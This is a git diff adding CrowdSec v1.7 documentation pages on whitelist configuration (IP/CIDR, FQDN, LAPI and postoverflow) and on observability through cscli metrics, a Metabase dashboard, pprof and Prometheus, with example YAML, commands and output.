+``` + +
+ Output: + +```bash +line: 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" + ├ s00-raw + | ├ 🟢 crowdsecurity/non-syslog (+5 ~8) + | ├ update evt.ExpectMode : %!s(int=0) -> 1 + | ├ update evt.Stage : -> s01-parse + | ├ update evt.Line.Raw : -> 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" + | ├ update evt.Line.Src : -> /tmp/cscli_explain156736029/cscli_test_tmp.log + | ├ update evt.Line.Time : 0001-01-01 00:00:00 +0000 UTC -> 2023-07-21 14:05:09.67803335 +0000 UTC + | ├ create evt.Line.Labels.type : nginx + | ├ update evt.Line.Process : %!s(bool=false) -> true + | ├ update evt.Line.Module : -> file + | ├ create evt.Parsed.message : 5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "GET /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo HTTP/1.1" 404 522 "-" "MySecretUserAgent" + | ├ create evt.Parsed.program : nginx + | ├ update evt.Time : 0001-01-01 00:00:00 +0000 UTC -> 2023-07-21 14:05:09.678072613 +0000 UTC + | ├ create evt.Meta.datasource_path : /tmp/cscli_explain156736029/cscli_test_tmp.log + | ├ create evt.Meta.datasource_type : file + ├ s01-parse + | ├ 🟢 crowdsecurity/nginx-logs (+22 ~2) + | ├ update evt.Stage : s01-parse -> s02-enrich + | ├ create evt.Parsed.remote_addr : 5.5.8.5 + | ├ create evt.Parsed.request_length : + | ├ create evt.Parsed.verb : GET + | ├ create evt.Parsed.http_user_agent : MySecretUserAgent + | ├ create evt.Parsed.request : /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo + | ├ create evt.Parsed.body_bytes_sent : 522 + | ├ create evt.Parsed.remote_user : - + | ├ create evt.Parsed.time_local : 04/Jan/2020:07:25:02 +0000 + | ├ create evt.Parsed.http_referer : - + | ├ create evt.Parsed.request_time : + | ├ create evt.Parsed.proxy_alternative_upstream_name : + | ├ create evt.Parsed.proxy_upstream_name : + | ├ create evt.Parsed.status : 404 + | ├ create evt.Parsed.target_fqdn : + | ├ create evt.Parsed.http_version : 1.1 + | ├ update evt.StrTime : -> 04/Jan/2020:07:25:02 +0000 + | ├ create evt.Meta.http_status : 404 + | ├ create evt.Meta.http_user_agent : MySecretUserAgent + | ├ create evt.Meta.log_type : http_access-log + | ├ create evt.Meta.service : http + | ├ create evt.Meta.http_path : /.well-known/acme-challenge/FMuukC2JOJ5HKmLBujjE_BkDo + | ├ create evt.Meta.http_verb : GET + | ├ create evt.Meta.source_ip : 5.5.8.5 + ├ s02-enrich + | ├ 🟢 crowdsecurity/dateparse-enrich (+2 ~2) + | ├ create evt.Enriched.MarshaledTime : 2020-01-04T07:25:02Z + | ├ update evt.Time : 2023-07-21 14:05:09.678072613 +0000 UTC -> 2020-01-04 07:25:02 +0000 UTC + | ├ update evt.MarshaledTime : -> 2020-01-04T07:25:02Z + | ├ create evt.Meta.timestamp : 2020-01-04T07:25:02Z + | ├ 🟢 crowdsecurity/geoip-enrich (+13) + | ├ create evt.Enriched.ASNumber : 6805 + | ├ create evt.Enriched.Latitude : 51.299300 + | ├ create evt.Enriched.SourceRange : 5.4.0.0/14 + | ├ create evt.Enriched.ASNOrg : Telefonica Germany + | ├ create evt.Enriched.IsInEU : true + | ├ create evt.Enriched.IsoCode : DE + | ├ create evt.Enriched.Longitude : 9.491000 + | ├ create evt.Enriched.ASNNumber : 6805 + | ├ create evt.Meta.ASNOrg : Telefonica Germany + | ├ create evt.Meta.IsInEU : true + | ├ create evt.Meta.IsoCode : DE + | ├ create evt.Meta.ASNNumber : 6805 + | ├ create evt.Meta.SourceRange : 5.4.0.0/14 + | ├ 🟢 crowdsecurity/http-logs (+7) + | ├ create evt.Parsed.impact_completion : false + | ├ create evt.Parsed.file_ext : + | ├ create evt.Parsed.file_frag : FMuukC2JOJ5HKmLBujjE_BkDo + | ├ create evt.Parsed.file_name : FMuukC2JOJ5HKmLBujjE_BkDo + | ├ create evt.Parsed.static_ressource : false + | ├ create evt.Parsed.file_dir : /.well-known/acme-challenge/ + | ├ create evt.Meta.http_args_len : 0 + | └ 🟢 my/whitelist (unchanged) + ├-------- parser success 🟢 + ├ Scenarios + ├ 🟢 crowdsecurity/http-crawl-non_statics + └ 🟢 crowdsecurity/http-probing +``` +You can see what data can be used from `s01-parse` stage. +
+ diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md new file mode 100644 index 000000000..2505a3ab1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/format.md @@ -0,0 +1,164 @@ +--- +id: format +title: Format +sidebar_position: 2 +--- + +## Whitelist configuration example + +```yaml +name: "my/whitelist" ## Must be unique +description: "Whitelist events from my ipv4 addresses" +#it's a normal parser, so we can restrict its scope with filter +filter: "1 == 1" +whitelist: + reason: "my ipv4 ranges" + ip: + - "127.0.0.1" + cidr: + - "192.168.0.0/16" + - "10.0.0.0/8" + - "172.16.0.0/12" + expression: + #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." + #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + - evt.Enriched.IsoCode == 'FR' +``` + +## Whitelist directives + + +### `name` + +```yaml +name: my_author_name/my_whitelist_name +``` + +The `name` is mandatory. + +It must be unique (and will define the scenario's name in the hub). + + +### `description` + +```yaml +description: whitelist office +``` + +The `description` is mandatory. + +It is a quick sentence describing what it detects. + + +### `filter` + +```yaml +filter: expression +``` + +`filter` must be a valid [expr](https://github.com/antonmedv/expr) expression that will be evaluated against the [event](/expr/event.md). + +If `filter` evaluation returns true or is absent, node will be processed. + +If `filter` returns `false` or a non-boolean, node won't be processed. + +Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). + +Examples : + + - `filter: "evt.Enriched.foo == 'test'"` + - `filter: "evt.Enriched.bar == 'test' && evt.Enriched.foo == 'test2'` + + +### `whitelist` + +```yaml +whitelist: + reason: "my ipv4 ranges" + ip: + - "127.0.0.1" + cidr: + - "192.168.0.0/16" + - "10.0.0.0/8" + - "172.16.0.0/12" + expression: + #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." + #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + - evt.Enriched.IsoCode == 'FR' +``` + +#### `reason` + +```yaml +reason: whitelist for test +``` + +The `reason` is mandatory. + +It is a quick sentence describing the reason of the whitelist. + +#### `ip` + +```yaml +whitelist: + ip: + - "127.0.0.1" +``` + +A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. + + +#### `cidr` + +```yaml +whitelist: + cidr: + - "192.168.0.0/16" + - "10.0.0.0/8" + - "172.16.0.0/12" +``` + +A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. + + +#### `expression` + +```yaml +whitelist: + expression: + #beware, this one will work *only* if you enabled the reverse dns (crowdsecurity/rdns) enrichment postoverflow parser + - evt.Enriched.reverse_dns endsWith ".mycoolorg.com." + #this one will work *only* if you enabled the geoip (crowdsecurity/geoip-enrich) enrichment parser + - evt.Enriched.IsoCode == 'FR' +``` + +A valid [expr](/expr/intro.md) expression that return a string to apply the pattern on. + + +### `data` + +```yaml +data: + - source_url: https://URL/TO/FILE + dest_file: LOCAL_FILENAME + type: (regexp|string) +``` + +`data` allows user to specify an external source of data. +This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. + +The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line or `string` for string per line. +The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. +Without specifying a `type`, the file will be downloaded and stored as a file and not in memory. + + +```yaml +name: crowdsecurity/cdn-whitelist +... +data: + - source_url: https://www.cloudflare.com/ips-v4 + dest_file: cloudflare_ips.txt + type: string +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md new file mode 100644 index 000000000..694123ec0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/fqdn_based_whitelist.md @@ -0,0 +1,31 @@ +--- +id: create_fqdn +title: FQDN +--- + +:::info +FQDN lookups can be potentially cause latency issues, we only recommend to use this within the `Postoverflow whitelist` stage see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path +::: + +### Create the whitelist with fully qualified domaine name + +You might want to whitelist a fully qualified domain name (FQDN eg foo.com), in that case you need to follow this below + +Let's create the following file `FQDN-whitelists.yaml` (See [introduction](/log_processor/whitelist/introduction.md) for your OS specific path) : + +```yaml +name: "my/FQDN-whitlists" ## Must be unique +description: "Whitelist postoverflows from FQDN" +whitelist: + reason: "do whitelistings by FQDN" + expression: + - evt.Overflow.Alert.Source.IP in LookupHost("foo.com") + - evt.Overflow.Alert.Source.IP in LookupHost("foo.foo.org") + - evt.Overflow.Alert.Source.IP in LookupHost("12123564.org") +``` +Save and reload CrowdSec before to test + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md new file mode 100644 index 000000000..78f67b840 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/introduction.md @@ -0,0 +1,41 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + + +Whitelists are special parsers that allow you to "discard" events, and can exist at two different steps : + + - *Parser whitelists* : Allows you to discard an event at parse time, so that it never hits the buckets. + - Linux: `/etc/crowdsec/parsers/s02-enrich/` + - Freebsd: `/usr/local/etc/crowdsec/parsers/s02-enrich/` + - Windows: `c:/programdata/crowdsec/config/parsers/s02-enrich/` + + - *LAPI AllowLists* : Centralized at the LAPI level, those allowlists allow to discard the decision and alert while still generating a log entry. They can be IP/Range (CIDR) based. See [LAPI AllowLists](/local_api/allowlists.md) + + - *PostOverflow whitelists* : Those are whitelists that are checked *after* the overflow happens. It is usually best for whitelisting process that can be expensive (such as performing reverse DNS on an IP address, or performing a `whois` of an IP address). + - Linux: `/etc/crowdsec/postoverflows/s01-whitelist/` + - Freebsd: `/usr/local/etc/crowdsec/postoverflows/s01-whitelist/` + - Windows: `c:/programdata/crowdsec/config/postoverflows/s01-whitelist/` + +*Postoverflow whitelist folders do not exist by default so you **MUST** manually create them* + +**Parser Whitelists** and **PostOverflow Whitelists** offer more flexibility, but are harder to manage. If you stick to IP-based whitelists, [**Centralized AllowLists**](/local_api/allowlists.md) is the way to go. + +Otherwise, whitelist can be based on several criteria: + + - specific IP address : if the event/overflow IP is the same, event is whitelisted + - IP ranges : if the event/overflow IP address belongs to this range, event is whitelisted + - a list of [expr](https://github.com/antonmedv/expr) expressions : if any expression returns true, event is whitelisted + +:::info + +While the whitelists are the same for parser or postoverflows, beware that field names might change. + +Source ip is usually in `evt.Meta.source_ip` when it's a log, but `evt.Overflow.Alert.Source.IP` when it's an overflow + +::: + + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md new file mode 100644 index 000000000..2441df016 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/ip_based_whitelist.md @@ -0,0 +1,45 @@ +--- +id: create_ip +title: IP / CIDR +--- + +IP whitelists are best suited at `Parser whitelists` level because once the log line has been parsed we already know the IP address and can save resources by discarding it earlier in the pipeline. + +We will create the file `mywhitelist.yaml` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. + +```yaml +name: "my/whitelist" ## Must be unique +description: "Whitelist events from my ip addresses" +whitelist: + reason: "my ip ranges" + ip: + - "80.x.x.x" + cidr: + - "80.x.x.x/24" +``` + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + +### Test the whitelist + +You can run a security tool such as `nikto` to test your whitelist + +```bash +nikto -host myfqdn.com +``` + +```bash +sudo cscli decisions list --ip {your_whitelisted_ip} +``` + +Should show the result `No active decisions` + +### I still see an old decision? + +The whitelist will only prevent new decisions so you must remove any old decisions with + +```bash +sudo decisions delete --ip {your_whitelist_ip} +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md new file mode 100644 index 000000000..a0e0be42b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/lapi_based_whitelist.md @@ -0,0 +1,43 @@ +--- +id: create_lapi +title: LAPI +--- + +LAPI based whitelist are not your traditional whitelists, as in they wont prevent an overflow from happening, but they will prevent a decision being made by the LAPI this means log processors that forward alerts to the LAPI will not need to be configured individually to ignore certain conditions. + +You can create a LAPI based whitelist by prepending a profile to the `profiles.yaml` file: + +```yaml +name: whitelist +debug: true +filters: + - Alert.GetValue() in ["2.2.2.2", "3.3.3.3"] +on_success: break +--- +``` + +In this example, the LAPI will not make a decision if the source IP is `2.2.2.2` or `3.3.3.3`. + +The `profiles.yaml` file location differs based on the OS type here are the default locations: + +- Linux: `/etc/crowdsec/profiles.yaml` +- FreeBSD: `/usr/local/etc/crowdsec/profiles.yaml` +- Windows: `C:\ProgramData\CrowdSec\config\profiles.yaml` + +You can use our extensive [EXPR helpers](/expr/intro.md) to create more complex whitelists, for example, you can whitelist a range of IPs by using the following syntax: + +```yaml +name: whitelist +debug: true +filters: + - IpInRange(Alert.GetValue(), "192.168.1.0/24") +on_success: break +--- +``` + +If you have implemented a LAPI based whitelist then you must reload the CrowdSec service for the changes to take effect. + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md new file mode 100644 index 000000000..f1ebe54cb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/whitelist/postoverflow_based_whitelist.md @@ -0,0 +1,81 @@ +--- +id: create_postoverflow +title: Postoverflow +--- + +## Whitelist in PostOverflows + +Whitelists in PostOverflows are applied _after_ the bucket overflow happens. Please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific paths. + +:::warning + +In PostOverflows, the `evt.Parsed` object will be empty at this stage. + +It means that you must work with the [`evt.Overflow`](/expr/event.md#event-object--overflow) object for your expression. + +::: + +The main advantage of postoveflow whitelists is they are only triggered once the bucket overflows meaning potentially expensive expressions are evaluated less often. + +A good example is the [crowdsecurity/whitelist-good-actors](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors) collection. + +First of all, install the [crowdsecurity/rdns postoverflow](https://hub.crowdsec.net/author/crowdsecurity/configurations/rdns) : it will be in charge of enriching overflows with reverse dns information of the offending IP address. + +Let's create `mywhitelist.yaml` again but remember this is a postoverflow whitelist so the paths will be different to `Parsing whitelists` please see [introduction](/log_processor/whitelist/introduction.md) for your OS specific path. + +```yaml +name: "my/po_whitelist" ## Must be unique +description: lets whitelist our own reverse dns +whitelist: + reason: dont ban my ISP + expression: + #this is the reverse of my ip, you can get it by performing a "host" command on your public IP for example + - evt.Enriched.reverse_dns endsWith '.asnieres.rev.numericable.fr.' +``` + +```bash title="Reload CrowdSec" +sudo systemctl reload crowdsec +``` + +```bash +nikto -host myfqdn.com +``` + +Tail the crowdsec log + +```bash +tail -f /var/log/crowdsec.log +``` + +You should be able to see the following output: + +``` +time="07-07-2020 17:11:09" level=info msg="Ban for 80.x.x.x whitelisted, reason [dont ban my ISP]" id=cold-sunset name=me/my_cool_whitelist stage=s01 +time="07-07-2020 17:11:09" level=info msg="node warning : no remediation" bucket_id=blue-cloud event_time="2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" scenario=crowdsecurity/http-probing source_ip=80.x.x.x +time="07-07-2020 17:11:09" level=info msg="Processing Overflow with no decisions 80.x.x.x performed 'crowdsecurity/http-probing' (11 events over 313.983994ms) at 2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" bucket_id=blue-cloud event_time="2020-07-07 17:11:09.175068053 +0200 CEST m=+2308.040825320" scenario=crowdsecurity/http-probing source_ip=80.x.x.x +``` + +This time, we can see that logs are being produced when the event is discarded. + +## Allow event for a specific scenario + +It is possible to allow an event for a specific scenario. + +For example, if you want to allow all the HTTP requests starting with `/mywebapp` only for the scenario `crowdsecurity/http-crawl-non_statics`, you can create the following postoverflow: + +```yaml +name: mywebapp_whitelist +description: Whitelist MyWebApp application for crawl non static +whitelist: + reason: MyWebApp can trigger FP + expression: + - evt.Overflow.Alert.Scenario == "crowdsecurity/http-crawl-non_statics" and all(evt.Overflow.Alert.Events, {.GetMeta("http_path") startsWith "/mywebapp"}) +``` + +The allowlist expression checks that the triggered scenario is `crowdsecurity/http-crawl-non_statics`. + +It then checks that all the `http_path` of events that lead to trigger the scenario start with `/mywebapp`. + +:warning: Since the `capacity` of the `crowdsecurity/http-crawl-non_statics` scenario is set to 40 and its `cache_size` to 5, the allowlist can only do this check on the last 5 events. + +If it matches both conditions, the overflow is allowed. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/cscli.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/cscli.md new file mode 100644 index 000000000..345be566e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/cscli.md @@ -0,0 +1,89 @@ +--- +id: cscli +title: Cscli metrics +sidebar_position: 2 +--- + +# Crowdsec Metrics + +Crowdsec is instrumented using [prometheus](https://prometheus.io/) to provide detailed metrics and tracability about what is going on. +The `cscli metrics` allows you to see a subset of the metrics exposed by crowdsec. For a more industrial solution, look into the [Grafana](/docs/next/observability/prometheus) integration. + +The best way to get an overview of the available metrics is to use `cscli metrics list`: + Type | Title | Description +---------------|------------------------------|------------- +acquisition | Acquisition Metrics | Measures the lines read, parsed, and unparsed per datasource. Zero read lines indicate a misconfigured or inactive datasource. Zero parsed lines means the parser(s) failed. Non-zero parsed lines are fine as crowdsec selects relevant lines. +alerts | Local API Alerts | Tracks the total number of past and present alerts for the installed scenarios. +appsec-engine | Appsec Metrics | Measures the number of parsed and blocked requests by the AppSec Component. +appsec-rule | Appsec Rule Metrics | Provides “per AppSec Component” information about the number of matches for loaded AppSec Rules. +bouncers | Bouncer Metrics | Network traffic blocked by bouncers. +decisions | Local API Decisions | Provides information about all currently active decisions. Includes both local (crowdsec) and global decisions (CAPI), and lists subscriptions (lists). +lapi | Local API Metrics | Monitors the requests made to local API routes. +lapi-bouncer | Local API Bouncers Metrics | Tracks total hits to remediation component related API routes. +lapi-decisions | Local API Bouncers Decisions | Tracks the number of empty/non-empty answers from LAPI to bouncers that are working in "live" mode. +lapi-machine | Local API Machines Metrics | Tracks the number of calls to the local API from each registered machine. +parsers | Parser Metrics | Tracks the number of events processed by each parser and indicates success of failure. Zero parsed lines means the parser(s) failed. Non-zero unparsed lines are fine as crowdsec select relevant lines. +scenarios | Scenario Metrics | Measure events in different scenarios. Current count is the number of buckets during metrics collection. Overflows are past event-producing buckets, while Expired are the ones that didn’t receive enough events to Overflow. +stash | Parser Stash Metrics | Tracks the status of stashes that might be created by various parsers and scenarios. +whitelists | Whitelist Metrics | Tracks the number of events processed and possibly whitelisted by each parser whitelist. + +# Metrics sections + +You can use aliases to view metrics related to specific areas (`cscli metrics show $alias`): + + - `engine` : Security Engine dedicated metrics (acquisition, parsers, scenarios, whitelists) + - `lapi` : local api dedicated metrics (bouncer api calls, local api decisions, machines decisions etc.) + - `appsec` : application Security Engine - WAF specifics (requests processed, rules evaluated and triggered) + +You can as well combine various metrics sections (listed in `cscli metrics list`). + + +## Example : Security Engine Metrics + +Using `cscli metrics show engine` will display the metrics sections relative to the Security Engine itself : acquisition, parsers, scenarios, whitelists and stash. + +```bash title="Command Output" +Acquisition Metrics: +╭────────────────────────────────┬────────────┬──────────────┬────────────────┬────────────────────────┬───────────────────╮ +│ Source │ Lines read │ Lines parsed │ Lines unparsed │ Lines poured to bucket │ Lines whitelisted │ +├────────────────────────────────┼────────────┼──────────────┼────────────────┼────────────────────────┼───────────────────┤ +│ file:/var/log/auth.log │ 636 │ - │ 636 │ - │ - │ +│ file:/var/log/nginx/access.log │ 24 │ 24 │ - │ 1 │ - │ +│ file:/var/log/syslog │ 1.55k │ - │ 1.55k │ - │ - │ +╰────────────────────────────────┴────────────┴──────────────┴────────────────┴────────────────────────┴───────────────────╯ + +Parser Metrics: +╭─────────────────────────────────┬───────┬────────┬──────────╮ +│ Parsers │ Hits │ Parsed │ Unparsed │ +├─────────────────────────────────┼───────┼────────┼──────────┤ +│ child-crowdsecurity/http-logs │ 72 │ 48 │ 24 │ +│ child-crowdsecurity/nginx-logs │ 24 │ 24 │ - │ +│ child-crowdsecurity/syslog-logs │ 2.18k │ 2.18k │ - │ +│ crowdsecurity/dateparse-enrich │ 24 │ 24 │ - │ +│ crowdsecurity/geoip-enrich │ 24 │ 24 │ - │ +│ crowdsecurity/http-logs │ 24 │ 24 │ - │ +│ crowdsecurity/nginx-logs │ 24 │ 24 │ - │ +│ crowdsecurity/non-syslog │ 24 │ 24 │ - │ +│ crowdsecurity/syslog-logs │ 2.18k │ 2.18k │ - │ +╰─────────────────────────────────┴───────┴────────┴──────────╯ + +Scenario Metrics: +╭──────────────────────────────────────┬───────────────┬───────────┬──────────────┬────────┬─────────╮ +│ Scenario │ Current Count │ Overflows │ Instantiated │ Poured │ Expired │ +├──────────────────────────────────────┼───────────────┼───────────┼──────────────┼────────┼─────────┤ +│ crowdsecurity/http-crawl-non_statics │ - │ - │ 1 │ 1 │ 1 │ +╰──────────────────────────────────────┴───────────────┴───────────┴──────────────┴────────┴─────────╯ + +Parser Stash Metrics: +╭──────┬──────┬───────╮ +│ Name │ Type │ Items │ +╰──────┴──────┴───────╯ + +Whitelist Metrics: +╭──────────────────────────┬─────────────────────────────┬──────┬─────────────╮ +│ Whitelist │ Reason │ Hits │ Whitelisted │ +├──────────────────────────┼─────────────────────────────┼──────┼─────────────┤ +│ crowdsecurity/whitelists │ private ipv4/ipv6 ip/ranges │ 12 │ 12 │ +╰──────────────────────────┴─────────────────────────────┴──────┴─────────────╯ +``` + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/dashboard.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/dashboard.md new file mode 100644 index 000000000..ddd5dcae1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/dashboard.md @@ -0,0 +1,100 @@ +--- +id: dashboard +title: Cscli dashboard +sidebar_position: 3 +--- + +:::warning "MySQL & PostgreSQL" +MySQL and PostgreSQL are currently not supported by [`cscli dashboard`](/cscli/cscli_dashboard.md). + +It means that you can run cscli dashboard only if you use `SQLite` (default) as storage database with your local API. +::: + +![Dashboard](/img/metabase.png) + +The cscli command `cscli dashboard setup` will use [docker](https://docs.docker.com/get-docker/) to install [metabase docker image](https://hub.docker.com/r/metabase/metabase/) and fetch our metabase template to have a configured and ready dashboard. + +:::tip +If you use `podman` instead of `docker` and want to install the crowdsec dashboard, you need to run: + + sudo systemctl enable --now podman.socket + +Then you can setup the dashboard with `sudo env DOCKER_HOST=unix:///run/podman/podman.sock cscli dashboard setup`. +::: + +## Setup +> Setup and Start crowdsec metabase dashboard + +```bash +sudo cscli dashboard setup +``` + +Optional arguments: + + - `-l` |`--listen` : ip address to listen on for docker (default is `127.0.0.1`) + - `-p` |`--port` : port to listen on for docker (default is `8080`) + - `--password` : password for metabase user (default is generated randomly) + - `-f` | `--force` : override existing setup + + + +
+ cscli dashboard setup + +```bash +INFO[0000] Pulling docker image metabase/metabase +........... +INFO[0002] creating container '/crowdsec-metabase' +INFO[0002] Waiting for metabase API to be up (can take up to a minute) +.............. +INFO[0051] Metabase is ready + + URL : 'http://127.0.0.1:3000' + username : 'crowdsec@crowdsec.net' + password : '' + +``` +
+ +:::tip +The `dashboard setup` command will output generated credentials for metabase. + +Those are stored in `/etc/crowdsec/metabase/metabase.yaml` +::: + +Now you can connect to your dashboard, sign-in with your saved credentials then click on crowdsec Dashboard to get this: + + +Dashboard docker image can be managed by cscli and docker cli also. Look at the cscli help command using + +```bash +sudo cscli dashboard -h +``` + +## Remove the dashboard +> Remove crowdsec metabase dashboard + +```bash +sudo cscli dashboard remove [-f] +``` +Optional arguments: + +- `-f` | `--force` : will force remove the dashboard + +## Stop the dashboard +> Stop crowdsec metabase dashboard + +```bash +sudo cscli dashboard stop +``` + +## Start the dashboard +> Start crowdsec metabase dashboard + +```bash +sudo cscli dashboard start +``` + +**Note:** Please look [at this documentation](/blog/metabase_without_docker) for those of you that would like to deploy metabase without using docker. + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/intro.md new file mode 100644 index 000000000..ccd866f0b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/intro.md @@ -0,0 +1,17 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +Observability in security software is crucial, especially when this software might take important decision such as blocking IP addresses. + +We attempt to provide good observability of CrowdSec's behavior : + + - CrowdSec itself exposes a [prometheus instrumentation](/observability/prometheus.md) + - `cscli` allows you to view part of prometheus metrics in [cli (`cscli metrics`)](/cscli/cscli_metrics.md) + - CrowdSec logging is contextualized for easy processing + - for **humans**, `cscli` allows you to trivially start a service [exposing dashboards](/observability/dashboard.md) (using [metabase](https://www.metabase.com/)) + +Furthermore, most of CrowdSec configuration should allow you to enable partial debug (ie. per-scenario, per-parser etc.) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/pprof.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/pprof.md new file mode 100644 index 000000000..c583bc4c7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/pprof.md @@ -0,0 +1,34 @@ +--- +id: pprof +title: Pprof +sidebar_position: 5 +--- + +CrowdSec exposes a pprof endpoint on `http://127.0.0.1:6060/debug/pprof`. It provides real-time state of the application. It is useful for finding issues like memory leaks, excessive CPU usage etc. + +Following are some of the common usage of this endpoint. Note that you need to have `golang` installed for the visualizations to work. + +## Visualize goroutines: + +```bash +go tool pprof -http=:8081 http://localhost:6060/debug/pprof/goroutine +``` + +You can also navigate to `http://localhost:6060/debug/pprof/goroutine?debug=1` to get live state of all goroutines. + +## Visualize memory usage: + +```bash +go tool pprof -http=:8081 http://localhost:6060/debug/pprof/heap +``` + +You can also navigate to `http://localhost:6060/debug/pprof/goroutine?debug=1` to get live memory usage. + +## Visualize CPU usage: + +```bash +go tool pprof -http=:8081 http://localhost:6060/debug/pprof/profile +``` + + +For more advanced usages see [pprof docs](https://pkg.go.dev/net/http/pprof) \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/prometheus.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/prometheus.md new file mode 100644 index 000000000..64dfde923 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/prometheus.md @@ -0,0 +1,122 @@ +--- +id: prometheus +title: Prometheus +sidebar_position: 4 +--- + +import AcademyPromo from '@site/src/components/academy-promo'; + +CrowdSec can expose a [prometheus](https://github.com/prometheus/client_golang) endpoint for collection (on `http://127.0.0.1:6060/metrics` by default). You can edit the listen_addr in [config.yaml](/configuration/crowdsec_configuration.md#prometheus) to allow an external Prometheus to scrape the metrics. + +The goal of this endpoint, besides the usual resources consumption monitoring, aims at offering a view of CrowdSec "applicative" behavior : + +- is it processing a lot of logs ? is it parsing them successfully ? +- are a lot of scenarios being triggered ? +- are a lot of IPs banned ? +- etc. + +All the counters are "since CrowdSec start". + +### Metrics details + +#### Scenarios + +- `cs_buckets` : number of scenario that currently exist +- `cs_bucket_created_total` : total number of instantiation of each scenario +- `cs_bucket_overflowed_total` : total number of overflow of each scenario +- `cs_bucket_underflowed_total` : total number of underflow of each scenario (bucket was created but expired because of lack of events) +- `cs_bucket_poured_total` : total number of event poured to each scenario with source as complementary key + +
+ example + +``` +#2030 lines from `/var/log/nginx/access.log` were poured to `crowdsecurity/http-scan-uniques_404` scenario +cs_bucket_poured_total{name="crowdsecurity/http-scan-uniques_404",source="/var/log/nginx/access.log"} 2030 +``` + +
+ +#### Parsers + +- `cs_node_hits_total` : how many times an event from a specific source was processed by a parser node : + +
+ example + +``` +# 235 lines from `auth.log` were processed by the `crowdsecurity/dateparse-enrich` parser +cs_node_hits_total{name="crowdsecurity/dateparse-enrich",source="/var/log/auth.log"} 235 +``` + +
+ +- `cs_node_hits_ko_total` : how many times an event from a specific was unsuccessfully parsed by a specific parser + +
+ example + +``` +# 2112 lines from `error.log` failed to be parsed by `crowdsecurity/http-logs` +cs_node_hits_ko_total{name="crowdsecurity/http-logs",source="/var/log/nginx/error.log"} 2112 +``` + +
